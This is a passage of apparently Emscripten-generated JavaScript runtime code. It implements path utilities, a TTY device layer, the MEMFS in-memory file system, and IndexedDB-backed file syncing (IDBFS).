  1771.         )), !isAbsolute).join("/");
  1772.         if (!path && !isAbsolute) {
  1773.             path = "."
  1774.         }
  1775.         if (path && trailingSlash) {
  1776.             path += "/"
  1777.         }
  1778.         return (isAbsolute ? "/" : "") + path
  1779.     }
  1780.     ),
  1781.     dirname: (function(path) {
  1782.         var result = PATH.splitPath(path)
  1783.           , root = result[0]
  1784.           , dir = result[1];
  1785.         if (!root && !dir) {
  1786.             return "."
  1787.         }
  1788.         if (dir) {
  1789.             dir = dir.substr(0, dir.length - 1)
  1790.         }
  1791.         return root + dir
  1792.     }
  1793.     ),
  1794.     basename: (function(path) {
  1795.         if (path === "/")
  1796.             return "/";
  1797.         var lastSlash = path.lastIndexOf("/");
  1798.         if (lastSlash === -1)
  1799.             return path;
  1800.         return path.substr(lastSlash + 1)
  1801.     }
  1802.     ),
  1803.     extname: (function(path) {
  1804.         return PATH.splitPath(path)[3]
  1805.     }
  1806.     ),
  1807.     join: (function() {
  1808.         var paths = Array.prototype.slice.call(arguments, 0);
  1809.         return PATH.normalize(paths.join("/"))
  1810.     }
  1811.     ),
  1812.     join2: (function(l, r) {
  1813.         return PATH.normalize(l + "/" + r)
  1814.     }
  1815.     ),
  1816.     resolve: (function() {
  1817.         var resolvedPath = ""
  1818.           , resolvedAbsolute = false;
  1819.         for (var i = arguments.length - 1; i >= -1 && !resolvedAbsolute; i--) {
  1820.             var path = i >= 0 ? arguments[i] : FS.cwd();
  1821.             if (typeof path !== "string") {
  1822.                 throw new TypeError("Arguments to path.resolve must be strings")
  1823.             } else if (!path) {
  1824.                 return ""
  1825.             }
  1826.             resolvedPath = path + "/" + resolvedPath;
  1827.             resolvedAbsolute = path.charAt(0) === "/"
  1828.         }
  1829.         resolvedPath = PATH.normalizeArray(resolvedPath.split("/").filter((function(p) {
  1830.             return !!p
  1831.         }
  1832.         )), !resolvedAbsolute).join("/");
  1833.         return (resolvedAbsolute ? "/" : "") + resolvedPath || "."
  1834.     }
  1835.     ),
  1836.     relative: (function(from, to) {
  1837.         from = PATH.resolve(from).substr(1);
  1838.         to = PATH.resolve(to).substr(1);
  1839.         function trim(arr) {
  1840.             var start = 0;
  1841.             for (; start < arr.length; start++) {
  1842.                 if (arr[start] !== "")
  1843.                     break
  1844.             }
  1845.             var end = arr.length - 1;
  1846.             for (; end >= 0; end--) {
  1847.                 if (arr[end] !== "")
  1848.                     break
  1849.             }
  1850.             if (start > end)
  1851.                 return [];
  1852.             return arr.slice(start, end - start + 1)
  1853.         }
  1854.         var fromParts = trim(from.split("/"));
  1855.         var toParts = trim(to.split("/"));
  1856.         var length = Math.min(fromParts.length, toParts.length);
  1857.         var samePartsLength = length;
  1858.         for (var i = 0; i < length; i++) {
  1859.             if (fromParts[i] !== toParts[i]) {
  1860.                 samePartsLength = i;
  1861.                 break
  1862.             }
  1863.         }
  1864.         var outputParts = [];
  1865.         for (var i = samePartsLength; i < fromParts.length; i++) {
  1866.             outputParts.push("..")
  1867.         }
  1868.         outputParts = outputParts.concat(toParts.slice(samePartsLength));
  1869.         return outputParts.join("/")
  1870.     }
  1871.     )
  1872. };
  1873. var TTY = {
  1874.     ttys: [],
  1875.     init: (function() {}
  1876.     ),
  1877.     shutdown: (function() {}
  1878.     ),
  1879.     register: (function(dev, ops) {
  1880.         TTY.ttys[dev] = {
  1881.             input: [],
  1882.             output: [],
  1883.             ops: ops
  1884.         };
  1885.         FS.registerDevice(dev, TTY.stream_ops)
  1886.     }
  1887.     ),
  1888.     stream_ops: {
  1889.         open: (function(stream) {
  1890.             var tty = TTY.ttys[stream.node.rdev];
  1891.             if (!tty) {
  1892.                 throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  1893.             }
  1894.             stream.tty = tty;
  1895.             stream.seekable = false
  1896.         }
  1897.         ),
  1898.         close: (function(stream) {
  1899.             stream.tty.ops.flush(stream.tty)
  1900.         }
  1901.         ),
  1902.         flush: (function(stream) {
  1903.             stream.tty.ops.flush(stream.tty)
  1904.         }
  1905.         ),
  1906.         read: (function(stream, buffer, offset, length, pos) {
  1907.             if (!stream.tty || !stream.tty.ops.get_char) {
  1908.                 throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1909.             }
  1910.             var bytesRead = 0;
  1911.             for (var i = 0; i < length; i++) {
  1912.                 var result;
  1913.                 try {
  1914.                     result = stream.tty.ops.get_char(stream.tty)
  1915.                 } catch (e) {
  1916.                     throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1917.                 }
  1918.                 if (result === undefined && bytesRead === 0) {
  1919.                     throw new FS.ErrnoError(ERRNO_CODES.EAGAIN)
  1920.                 }
  1921.                 if (result === null || result === undefined)
  1922.                     break;
  1923.                 bytesRead++;
  1924.                 buffer[offset + i] = result
  1925.             }
  1926.             if (bytesRead) {
  1927.                 stream.node.timestamp = Date.now()
  1928.             }
  1929.             return bytesRead
  1930.         }
  1931.         ),
  1932.         write: (function(stream, buffer, offset, length, pos) {
  1933.             if (!stream.tty || !stream.tty.ops.put_char) {
  1934.                 throw new FS.ErrnoError(ERRNO_CODES.ENXIO)
  1935.             }
  1936.             for (var i = 0; i < length; i++) {
  1937.                 try {
  1938.                     stream.tty.ops.put_char(stream.tty, buffer[offset + i])
  1939.                 } catch (e) {
  1940.                     throw new FS.ErrnoError(ERRNO_CODES.EIO)
  1941.                 }
  1942.             }
  1943.             if (length) {
  1944.                 stream.node.timestamp = Date.now()
  1945.             }
  1946.             return i
  1947.         }
  1948.         )
  1949.     },
  1950.     default_tty_ops: {
  1951.         get_char: (function(tty) {
  1952.             if (!tty.input.length) {
  1953.                 var result = null;
  1954.                 if (ENVIRONMENT_IS_NODE) {
  1955.                     var BUFSIZE = 256;
  1956.                     var buf = new Buffer(BUFSIZE);
  1957.                     var bytesRead = 0;
  1958.                     var isPosixPlatform = process.platform != "win32";
  1959.                     var fd = process.stdin.fd;
  1960.                     if (isPosixPlatform) {
  1961.                         var usingDevice = false;
  1962.                         try {
  1963.                             fd = fs.openSync("/dev/stdin", "r");
  1964.                             usingDevice = true
  1965.                         } catch (e) {}
  1966.                     }
  1967.                     try {
  1968.                         bytesRead = fs.readSync(fd, buf, 0, BUFSIZE, null)
  1969.                     } catch (e) {
  1970.                         if (e.toString().indexOf("EOF") != -1)
  1971.                             bytesRead = 0;
  1972.                         else
  1973.                             throw e
  1974.                     }
  1975.                     if (usingDevice) {
  1976.                         fs.closeSync(fd)
  1977.                     }
  1978.                     if (bytesRead > 0) {
  1979.                         result = buf.slice(0, bytesRead).toString("utf-8")
  1980.                     } else {
  1981.                         result = null
  1982.                     }
  1983.                 } else if (typeof window != "undefined" && typeof window.prompt == "function") {
  1984.                     result = window.prompt("Input: ");
  1985.                     if (result !== null) {
  1986.                         result += "\n"
  1987.                     }
  1988.                 } else if (typeof readline == "function") {
  1989.                     result = readline();
  1990.                     if (result !== null) {
  1991.                         result += "\n"
  1992.                     }
  1993.                 }
  1994.                 if (!result) {
  1995.                     return null
  1996.                 }
  1997.                 tty.input = intArrayFromString(result, true)
  1998.             }
  1999.             return tty.input.shift()
  2000.         }
  2001.         ),
  2002.         put_char: (function(tty, val) {
  2003.             if (val === null || val === 10) {
  2004.                 Module["print"](UTF8ArrayToString(tty.output, 0));
  2005.                 tty.output = []
  2006.             } else {
  2007.                 if (val != 0)
  2008.                     tty.output.push(val)
  2009.             }
  2010.         }
  2011.         ),
  2012.         flush: (function(tty) {
  2013.             if (tty.output && tty.output.length > 0) {
  2014.                 Module["print"](UTF8ArrayToString(tty.output, 0));
  2015.                 tty.output = []
  2016.             }
  2017.         }
  2018.         )
  2019.     },
  2020.     default_tty1_ops: {
  2021.         put_char: (function(tty, val) {
  2022.             if (val === null || val === 10) {
  2023.                 Module["printErr"](UTF8ArrayToString(tty.output, 0));
  2024.                 tty.output = []
  2025.             } else {
  2026.                 if (val != 0)
  2027.                     tty.output.push(val)
  2028.             }
  2029.         }
  2030.         ),
  2031.         flush: (function(tty) {
  2032.             if (tty.output && tty.output.length > 0) {
  2033.                 Module["printErr"](UTF8ArrayToString(tty.output, 0));
  2034.                 tty.output = []
  2035.             }
  2036.         }
  2037.         )
  2038.     }
  2039. };
  2040. var MEMFS = {
  2041.     ops_table: null,
  2042.     mount: (function(mount) {
  2043.         return MEMFS.createNode(null, "/", 16384 | 511, 0)
  2044.     }
  2045.     ),
  2046.     createNode: (function(parent, name, mode, dev) {
  2047.         if (FS.isBlkdev(mode) || FS.isFIFO(mode)) {
  2048.             throw new FS.ErrnoError(ERRNO_CODES.EPERM)
  2049.         }
  2050.         if (!MEMFS.ops_table) {
  2051.             MEMFS.ops_table = {
  2052.                 dir: {
  2053.                     node: {
  2054.                         getattr: MEMFS.node_ops.getattr,
  2055.                         setattr: MEMFS.node_ops.setattr,
  2056.                         lookup: MEMFS.node_ops.lookup,
  2057.                         mknod: MEMFS.node_ops.mknod,
  2058.                         rename: MEMFS.node_ops.rename,
  2059.                         unlink: MEMFS.node_ops.unlink,
  2060.                         rmdir: MEMFS.node_ops.rmdir,
  2061.                         readdir: MEMFS.node_ops.readdir,
  2062.                         symlink: MEMFS.node_ops.symlink
  2063.                     },
  2064.                     stream: {
  2065.                         llseek: MEMFS.stream_ops.llseek
  2066.                     }
  2067.                 },
  2068.                 file: {
  2069.                     node: {
  2070.                         getattr: MEMFS.node_ops.getattr,
  2071.                         setattr: MEMFS.node_ops.setattr
  2072.                     },
  2073.                     stream: {
  2074.                         llseek: MEMFS.stream_ops.llseek,
  2075.                         read: MEMFS.stream_ops.read,
  2076.                         write: MEMFS.stream_ops.write,
  2077.                         allocate: MEMFS.stream_ops.allocate,
  2078.                         mmap: MEMFS.stream_ops.mmap,
  2079.                         msync: MEMFS.stream_ops.msync
  2080.                     }
  2081.                 },
  2082.                 link: {
  2083.                     node: {
  2084.                         getattr: MEMFS.node_ops.getattr,
  2085.                         setattr: MEMFS.node_ops.setattr,
  2086.                         readlink: MEMFS.node_ops.readlink
  2087.                     },
  2088.                     stream: {}
  2089.                 },
  2090.                 chrdev: {
  2091.                     node: {
  2092.                         getattr: MEMFS.node_ops.getattr,
  2093.                         setattr: MEMFS.node_ops.setattr
  2094.                     },
  2095.                     stream: FS.chrdev_stream_ops
  2096.                 }
  2097.             }
  2098.         }
  2099.         var node = FS.createNode(parent, name, mode, dev);
  2100.         if (FS.isDir(node.mode)) {
  2101.             node.node_ops = MEMFS.ops_table.dir.node;
  2102.             node.stream_ops = MEMFS.ops_table.dir.stream;
  2103.             node.contents = {}
  2104.         } else if (FS.isFile(node.mode)) {
  2105.             node.node_ops = MEMFS.ops_table.file.node;
  2106.             node.stream_ops = MEMFS.ops_table.file.stream;
  2107.             node.usedBytes = 0;
  2108.             node.contents = null
  2109.         } else if (FS.isLink(node.mode)) {
  2110.             node.node_ops = MEMFS.ops_table.link.node;
  2111.             node.stream_ops = MEMFS.ops_table.link.stream
  2112.         } else if (FS.isChrdev(node.mode)) {
  2113.             node.node_ops = MEMFS.ops_table.chrdev.node;
  2114.             node.stream_ops = MEMFS.ops_table.chrdev.stream
  2115.         }
  2116.         node.timestamp = Date.now();
  2117.         if (parent) {
  2118.             parent.contents[name] = node
  2119.         }
  2120.         return node
  2121.     }
  2122.     ),
  2123.     getFileDataAsRegularArray: (function(node) {
  2124.         if (node.contents && node.contents.subarray) {
  2125.             var arr = [];
  2126.             for (var i = 0; i < node.usedBytes; ++i)
  2127.                 arr.push(node.contents[i]);
  2128.             return arr
  2129.         }
  2130.         return node.contents
  2131.     }
  2132.     ),
  2133.     getFileDataAsTypedArray: (function(node) {
  2134.         if (!node.contents)
  2135.             return new Uint8Array;
  2136.         if (node.contents.subarray)
  2137.             return node.contents.subarray(0, node.usedBytes);
  2138.         return new Uint8Array(node.contents)
  2139.     }
  2140.     ),
  2141.     expandFileStorage: (function(node, newCapacity) {
  2142.         if (node.contents && node.contents.subarray && newCapacity > node.contents.length) {
  2143.             node.contents = MEMFS.getFileDataAsRegularArray(node);
  2144.             node.usedBytes = node.contents.length
  2145.         }
  2146.         if (!node.contents || node.contents.subarray) {
  2147.             var prevCapacity = node.contents ? node.contents.length : 0;
  2148.             if (prevCapacity >= newCapacity)
  2149.                 return;
  2150.             var CAPACITY_DOUBLING_MAX = 1024 * 1024;
  2151.             newCapacity = Math.max(newCapacity, prevCapacity * (prevCapacity < CAPACITY_DOUBLING_MAX ? 2 : 1.125) | 0);
  2152.             if (prevCapacity != 0)
  2153.                 newCapacity = Math.max(newCapacity, 256);
  2154.             var oldContents = node.contents;
  2155.             node.contents = new Uint8Array(newCapacity);
  2156.             if (node.usedBytes > 0)
  2157.                 node.contents.set(oldContents.subarray(0, node.usedBytes), 0);
  2158.             return
  2159.         }
  2160.         if (!node.contents && newCapacity > 0)
  2161.             node.contents = [];
  2162.         while (node.contents.length < newCapacity)
  2163.             node.contents.push(0)
  2164.     }
  2165.     ),
  2166.     resizeFileStorage: (function(node, newSize) {
  2167.         if (node.usedBytes == newSize)
  2168.             return;
  2169.         if (newSize == 0) {
  2170.             node.contents = null;
  2171.             node.usedBytes = 0;
  2172.             return
  2173.         }
  2174.         if (!node.contents || node.contents.subarray) {
  2175.             var oldContents = node.contents;
  2176.             node.contents = new Uint8Array(new ArrayBuffer(newSize));
  2177.             if (oldContents) {
  2178.                 node.contents.set(oldContents.subarray(0, Math.min(newSize, node.usedBytes)))
  2179.             }
  2180.             node.usedBytes = newSize;
  2181.             return
  2182.         }
  2183.         if (!node.contents)
  2184.             node.contents = [];
  2185.         if (node.contents.length > newSize)
  2186.             node.contents.length = newSize;
  2187.         else
  2188.             while (node.contents.length < newSize)
  2189.                 node.contents.push(0);
  2190.         node.usedBytes = newSize
  2191.     }
  2192.     ),
  2193.     node_ops: {
  2194.         getattr: (function(node) {
  2195.             var attr = {};
  2196.             attr.dev = FS.isChrdev(node.mode) ? node.id : 1;
  2197.             attr.ino = node.id;
  2198.             attr.mode = node.mode;
  2199.             attr.nlink = 1;
  2200.             attr.uid = 0;
  2201.             attr.gid = 0;
  2202.             attr.rdev = node.rdev;
  2203.             if (FS.isDir(node.mode)) {
  2204.                 attr.size = 4096
  2205.             } else if (FS.isFile(node.mode)) {
  2206.                 attr.size = node.usedBytes
  2207.             } else if (FS.isLink(node.mode)) {
  2208.                 attr.size = node.link.length
  2209.             } else {
  2210.                 attr.size = 0
  2211.             }
  2212.             attr.atime = new Date(node.timestamp);
  2213.             attr.mtime = new Date(node.timestamp);
  2214.             attr.ctime = new Date(node.timestamp);
  2215.             attr.blksize = 4096;
  2216.             attr.blocks = Math.ceil(attr.size / attr.blksize);
  2217.             return attr
  2218.         }
  2219.         ),
  2220.         setattr: (function(node, attr) {
  2221.             if (attr.mode !== undefined) {
  2222.                 node.mode = attr.mode
  2223.             }
  2224.             if (attr.timestamp !== undefined) {
  2225.                 node.timestamp = attr.timestamp
  2226.             }
  2227.             if (attr.size !== undefined) {
  2228.                 MEMFS.resizeFileStorage(node, attr.size)
  2229.             }
  2230.         }
  2231.         ),
  2232.         lookup: (function(parent, name) {
  2233.             throw FS.genericErrors[ERRNO_CODES.ENOENT]
  2234.         }
  2235.         ),
  2236.         mknod: (function(parent, name, mode, dev) {
  2237.             return MEMFS.createNode(parent, name, mode, dev)
  2238.         }
  2239.         ),
  2240.         rename: (function(old_node, new_dir, new_name) {
  2241.             if (FS.isDir(old_node.mode)) {
  2242.                 var new_node;
  2243.                 try {
  2244.                     new_node = FS.lookupNode(new_dir, new_name)
  2245.                 } catch (e) {}
  2246.                 if (new_node) {
  2247.                     for (var i in new_node.contents) {
  2248.                         throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2249.                     }
  2250.                 }
  2251.             }
  2252.             delete old_node.parent.contents[old_node.name];
  2253.             old_node.name = new_name;
  2254.             new_dir.contents[new_name] = old_node;
  2255.             old_node.parent = new_dir
  2256.         }
  2257.         ),
  2258.         unlink: (function(parent, name) {
  2259.             delete parent.contents[name]
  2260.         }
  2261.         ),
  2262.         rmdir: (function(parent, name) {
  2263.             var node = FS.lookupNode(parent, name);
  2264.             for (var i in node.contents) {
  2265.                 throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)
  2266.             }
  2267.             delete parent.contents[name]
  2268.         }
  2269.         ),
  2270.         readdir: (function(node) {
  2271.             var entries = [".", ".."];
  2272.             for (var key in node.contents) {
  2273.                 if (!node.contents.hasOwnProperty(key)) {
  2274.                     continue
  2275.                 }
  2276.                 entries.push(key)
  2277.             }
  2278.             return entries
  2279.         }
  2280.         ),
  2281.         symlink: (function(parent, newname, oldpath) {
  2282.             var node = MEMFS.createNode(parent, newname, 511 | 40960, 0);
  2283.             node.link = oldpath;
  2284.             return node
  2285.         }
  2286.         ),
  2287.         readlink: (function(node) {
  2288.             if (!FS.isLink(node.mode)) {
  2289.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2290.             }
  2291.             return node.link
  2292.         }
  2293.         )
  2294.     },
  2295.     stream_ops: {
  2296.         read: (function(stream, buffer, offset, length, position) {
  2297.             var contents = stream.node.contents;
  2298.             if (position >= stream.node.usedBytes)
  2299.                 return 0;
  2300.             var size = Math.min(stream.node.usedBytes - position, length);
  2301.             assert(size >= 0);
  2302.             if (size > 8 && contents.subarray) {
  2303.                 buffer.set(contents.subarray(position, position + size), offset)
  2304.             } else {
  2305.                 for (var i = 0; i < size; i++)
  2306.                     buffer[offset + i] = contents[position + i]
  2307.             }
  2308.             return size
  2309.         }
  2310.         ),
  2311.         write: (function(stream, buffer, offset, length, position, canOwn) {
  2312.             if (!length)
  2313.                 return 0;
  2314.             var node = stream.node;
  2315.             node.timestamp = Date.now();
  2316.             if (buffer.subarray && (!node.contents || node.contents.subarray)) {
  2317.                 if (canOwn) {
  2318.                     node.contents = buffer.subarray(offset, offset + length);
  2319.                     node.usedBytes = length;
  2320.                     return length
  2321.                 } else if (node.usedBytes === 0 && position === 0) {
  2322.                     node.contents = new Uint8Array(buffer.subarray(offset, offset + length));
  2323.                     node.usedBytes = length;
  2324.                     return length
  2325.                 } else if (position + length <= node.usedBytes) {
  2326.                     node.contents.set(buffer.subarray(offset, offset + length), position);
  2327.                     return length
  2328.                 }
  2329.             }
  2330.             MEMFS.expandFileStorage(node, position + length);
  2331.             if (node.contents.subarray && buffer.subarray)
  2332.                 node.contents.set(buffer.subarray(offset, offset + length), position);
  2333.             else {
  2334.                 for (var i = 0; i < length; i++) {
  2335.                     node.contents[position + i] = buffer[offset + i]
  2336.                 }
  2337.             }
  2338.             node.usedBytes = Math.max(node.usedBytes, position + length);
  2339.             return length
  2340.         }
  2341.         ),
  2342.         llseek: (function(stream, offset, whence) {
  2343.             var position = offset;
  2344.             if (whence === 1) {
  2345.                 position += stream.position
  2346.             } else if (whence === 2) {
  2347.                 if (FS.isFile(stream.node.mode)) {
  2348.                     position += stream.node.usedBytes
  2349.                 }
  2350.             }
  2351.             if (position < 0) {
  2352.                 throw new FS.ErrnoError(ERRNO_CODES.EINVAL)
  2353.             }
  2354.             return position
  2355.         }
  2356.         ),
  2357.         allocate: (function(stream, offset, length) {
  2358.             MEMFS.expandFileStorage(stream.node, offset + length);
  2359.             stream.node.usedBytes = Math.max(stream.node.usedBytes, offset + length)
  2360.         }
  2361.         ),
  2362.         mmap: (function(stream, buffer, offset, length, position, prot, flags) {
  2363.             if (!FS.isFile(stream.node.mode)) {
  2364.                 throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2365.             }
  2366.             var ptr;
  2367.             var allocated;
  2368.             var contents = stream.node.contents;
  2369.             if (!(flags & 2) && (contents.buffer === buffer || contents.buffer === buffer.buffer)) {
  2370.                 allocated = false;
  2371.                 ptr = contents.byteOffset
  2372.             } else {
  2373.                 if (position > 0 || position + length < stream.node.usedBytes) {
  2374.                     if (contents.subarray) {
  2375.                         contents = contents.subarray(position, position + length)
  2376.                     } else {
  2377.                         contents = Array.prototype.slice.call(contents, position, position + length)
  2378.                     }
  2379.                 }
  2380.                 allocated = true;
  2381.                 ptr = _malloc(length);
  2382.                 if (!ptr) {
  2383.                     throw new FS.ErrnoError(ERRNO_CODES.ENOMEM)
  2384.                 }
  2385.                 buffer.set(contents, ptr)
  2386.             }
  2387.             return {
  2388.                 ptr: ptr,
  2389.                 allocated: allocated
  2390.             }
  2391.         }
  2392.         ),
  2393.         msync: (function(stream, buffer, offset, length, mmapFlags) {
  2394.             if (!FS.isFile(stream.node.mode)) {
  2395.                 throw new FS.ErrnoError(ERRNO_CODES.ENODEV)
  2396.             }
  2397.             if (mmapFlags & 2) {
  2398.                 return 0
  2399.             }
  2400.             var bytesWritten = MEMFS.stream_ops.write(stream, buffer, 0, length, offset, false);
  2401.             return 0
  2402.         }
  2403.         )
  2404.     }
  2405. };
  2406. var IDBFS = {
  2407.     dbs: {},
  2408.     indexedDB: (function() {
  2409.         if (typeof indexedDB !== "undefined")
  2410.             return indexedDB;
  2411.         var ret = null;
  2412.         if (typeof window === "object")
  2413.             ret = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
  2414.         assert(ret, "IDBFS used, but indexedDB not supported");
  2415.         return ret
  2416.     }
  2417.     ),
  2418.     DB_VERSION: 21,
  2419.     DB_STORE_NAME: "FILE_DATA",
  2420.     mount: (function(mount) {
  2421.         return MEMFS.mount.apply(null, arguments)
  2422.     }
  2423.     ),
  2424.     syncfs: (function(mount, populate, callback) {
  2425.         IDBFS.getLocalSet(mount, (function(err, local) {
  2426.             if (err)
  2427.                 return callback(err);
  2428.             IDBFS.getRemoteSet(mount, (function(err, remote) {
  2429.                 if (err)
  2430.                     return callback(err);
  2431.                 var src = populate ? remote : local;
  2432.                 var dst = populate ? local : remote;
  2433.                 IDBFS.reconcile(src, dst, callback)
  2434.             }
  2435.             ))
  2436.         }
  2437.         ))
  2438.     }
  2439.     ),
  2440.     getDB: (function(name, callback) {
  2441.         var db = IDBFS.dbs[name];
  2442.         if (db) {
  2443.             return callback(null, db)
  2444.         }
  2445.         var req;
  2446.         try {
  2447.             req = IDBFS.indexedDB().open(name, IDBFS.DB_VERSION)
  2448.         } catch (e) {
  2449.             return callback(e)
  2450.         }
  2451.         if (!req) {
  2452.             return callback("Unable to connect to IndexedDB")
  2453.         }
  2454.         req.onupgradeneeded = (function(e) {
  2455.             var db = e.target.result;
  2456.             var transaction = e.target.transaction;
  2457.             var fileStore;
  2458.             if (db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)) {
  2459.                 fileStore = transaction.objectStore(IDBFS.DB_STORE_NAME)
  2460.             } else {
  2461.                 fileStore = db.createObjectStore(IDBFS.DB_STORE_NAME)
  2462.             }
  2463.             if (!fileStore.indexNames.contains("timestamp")) {
  2464.                 fileStore.createIndex("timestamp", "timestamp", {
  2465.                     unique: false
  2466.                 })
  2467.             }
  2468.         }
  2469.         );
  2470.         req.onsuccess = (function() {
  2471.             db = req.result;
  2472.             IDBFS.dbs[name] = db;
  2473.             callback(null, db)
  2474.         }
  2475.         );
  2476.         req.onerror = (function(e) {
  2477.             callback(this.error);
  2478.             e.preventDefault()
  2479.         }
  2480.         )
  2481.     }
  2482.     ),
  2483.     getLocalSet: (function(mount, callback) {
  2484.         var entries = {};
  2485.         function isRealDir(p) {
  2486.             return p !== "." && p !== ".."
  2487.         }
  2488.         function toAbsolute(root) {
  2489.             return (function(p) {
  2490.                 return PATH.join2(root, p)
  2491.             }
  2492.             )
  2493.         }
  2494.         var check = FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));
  2495.         while (check.length) {
  2496.             var path = check.pop();
  2497.             var stat;
  2498.             try {
  2499.                 stat = FS.stat(path)
  2500.             } catch (e) {
  2501.                 return callback(e)
  2502.             }
  2503.             if (FS.isDir(stat.mode)) {
  2504.                 check.push.apply(check, FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))
  2505.             }
  2506.             entries[path] = {
  2507.                 timestamp: stat.mtime
  2508.             }
  2509.         }
  2510.         return callback(null, {
  2511.             type: "local",
  2512.             entries: entries
  2513.         })
  2514.     }
  2515.     ),
  2516.     getRemoteSet: (function(mount, callback) {
  2517.         var entries = {};
  2518.         IDBFS.getDB(mount.mountpoint, (function(err, db) {
  2519.             if (err)
  2520.                 return callback(err);
  2521.             var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readonly");
  2522.             transaction.onerror = (function(e) {
  2523.                 callback(this.error);
  2524.                 e.preventDefault()
  2525.             }
  2526.             );
  2527.             var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2528.             var index = store.index("timestamp");
  2529.             index.openKeyCursor().onsuccess = (function(event) {
  2530.                 var cursor = event.target.result;
  2531.                 if (!cursor) {
  2532.                     return callback(null, {
  2533.                         type: "remote",
  2534.                         db: db,
  2535.                         entries: entries
  2536.                     })
  2537.                 }
  2538.                 entries[cursor.primaryKey] = {
  2539.                     timestamp: cursor.key
  2540.                 };
  2541.                 cursor.continue()
  2542.             }
  2543.             )
  2544.         }
  2545.         ))
  2546.     }
  2547.     ),
  2548.     loadLocalEntry: (function(path, callback) {
  2549.         var stat, node;
  2550.         try {
  2551.             var lookup = FS.lookupPath(path);
  2552.             node = lookup.node;
  2553.             stat = FS.stat(path)
  2554.         } catch (e) {
  2555.             return callback(e)
  2556.         }
  2557.         if (FS.isDir(stat.mode)) {
  2558.             return callback(null, {
  2559.                 timestamp: stat.mtime,
  2560.                 mode: stat.mode
  2561.             })
  2562.         } else if (FS.isFile(stat.mode)) {
  2563.             node.contents = MEMFS.getFileDataAsTypedArray(node);
  2564.             return callback(null, {
  2565.                 timestamp: stat.mtime,
  2566.                 mode: stat.mode,
  2567.                 contents: node.contents
  2568.             })
  2569.         } else {
  2570.             return callback(new Error("node type not supported"))
  2571.         }
  2572.     }
  2573.     ),
  2574.     storeLocalEntry: (function(path, entry, callback) {
  2575.         try {
  2576.             if (FS.isDir(entry.mode)) {
  2577.                 FS.mkdir(path, entry.mode)
  2578.             } else if (FS.isFile(entry.mode)) {
  2579.                 FS.writeFile(path, entry.contents, {
  2580.                     encoding: "binary",
  2581.                     canOwn: true
  2582.                 })
  2583.             } else {
  2584.                 return callback(new Error("node type not supported"))
  2585.             }
  2586.             FS.chmod(path, entry.mode);
  2587.             FS.utime(path, entry.timestamp, entry.timestamp)
  2588.         } catch (e) {
  2589.             return callback(e)
  2590.         }
  2591.         callback(null)
  2592.     }
  2593.     ),
  2594.     removeLocalEntry: (function(path, callback) {
  2595.         try {
  2596.             var lookup = FS.lookupPath(path);
  2597.             var stat = FS.stat(path);
  2598.             if (FS.isDir(stat.mode)) {
  2599.                 FS.rmdir(path)
  2600.             } else if (FS.isFile(stat.mode)) {
  2601.                 FS.unlink(path)
  2602.             }
  2603.         } catch (e) {
  2604.             return callback(e)
  2605.         }
  2606.         callback(null)
  2607.     }
  2608.     ),
  2609.     loadRemoteEntry: (function(store, path, callback) {
  2610.         var req = store.get(path);
  2611.         req.onsuccess = (function(event) {
  2612.             callback(null, event.target.result)
  2613.         }
  2614.         );
  2615.         req.onerror = (function(e) {
  2616.             callback(this.error);
  2617.             e.preventDefault()
  2618.         }
  2619.         )
  2620.     }
  2621.     ),
  2622.     storeRemoteEntry: (function(store, path, entry, callback) {
  2623.         var req = store.put(entry, path);
  2624.         req.onsuccess = (function() {
  2625.             callback(null)
  2626.         }
  2627.         );
  2628.         req.onerror = (function(e) {
  2629.             callback(this.error);
  2630.             e.preventDefault()
  2631.         }
  2632.         )
  2633.     }
  2634.     ),
  2635.     removeRemoteEntry: (function(store, path, callback) {
  2636.         var req = store.delete(path);
  2637.         req.onsuccess = (function() {
  2638.             callback(null)
  2639.         }
  2640.         );
  2641.         req.onerror = (function(e) {
  2642.             callback(this.error);
  2643.             e.preventDefault()
  2644.         }
  2645.         )
  2646.     }
  2647.     ),
  2648.     reconcile: (function(src, dst, callback) {
  2649.         var total = 0;
  2650.         var create = [];
  2651.         Object.keys(src.entries).forEach((function(key) {
  2652.             var e = src.entries[key];
  2653.             var e2 = dst.entries[key];
  2654.             if (!e2 || e.timestamp > e2.timestamp) {
  2655.                 create.push(key);
  2656.                 total++
  2657.             }
  2658.         }
  2659.         ));
  2660.         var remove = [];
  2661.         Object.keys(dst.entries).forEach((function(key) {
  2662.             var e = dst.entries[key];
  2663.             var e2 = src.entries[key];
  2664.             if (!e2) {
  2665.                 remove.push(key);
  2666.                 total++
  2667.             }
  2668.         }
  2669.         ));
  2670.         if (!total) {
  2671.             return callback(null)
  2672.         }
  2673.         var completed = 0;
  2674.         var db = src.type === "remote" ? src.db : dst.db;
  2675.         var transaction = db.transaction([IDBFS.DB_STORE_NAME], "readwrite");
  2676.         var store = transaction.objectStore(IDBFS.DB_STORE_NAME);
  2677.         function done(err) {
  2678.             if (err) {
  2679.                 if (!done.errored) {
  2680.                     done.errored = true;
  2681.                     return callback(err)
  2682.                 }
  2683.                 return
  2684.             }
  2685.             if (++completed >= total) {
  2686.                 return callback(null)
  2687.             }
  2688.         }
  2689.         transaction.onerror = (function(e) {
  2690.             done(this.error);
  2691.             e.preventDefault()
  2692.         }
  2693.         );
  2694.         create.sort().forEach((function(path) {
  2695.             if (dst.type === "local") {
  2696.                 IDBFS.loadRemoteEntry(store, path, (function(err, entry) {
  2697.                     if (err)
  2698.                         return done(err);
  2699.                     IDBFS.storeLocalEntry(path, entry, done)
  2700.                 }
  2701.                 ))
  2702.             } else {
  2703.                 IDBFS.loadLocalEntry(path, (function(err, entry) {
  2704.                     if (err)
  2705.                         return done(err);
  2706.                     IDBFS.storeRemoteEntry(store, path, entry, done)
  2707.                 }
  2708.                 ))
  2709.             }
  2710.         }
  2711.         ));
  2712.         remove.sort().reverse().forEach((function(path) {
  2713.             if (dst.type === "local") {
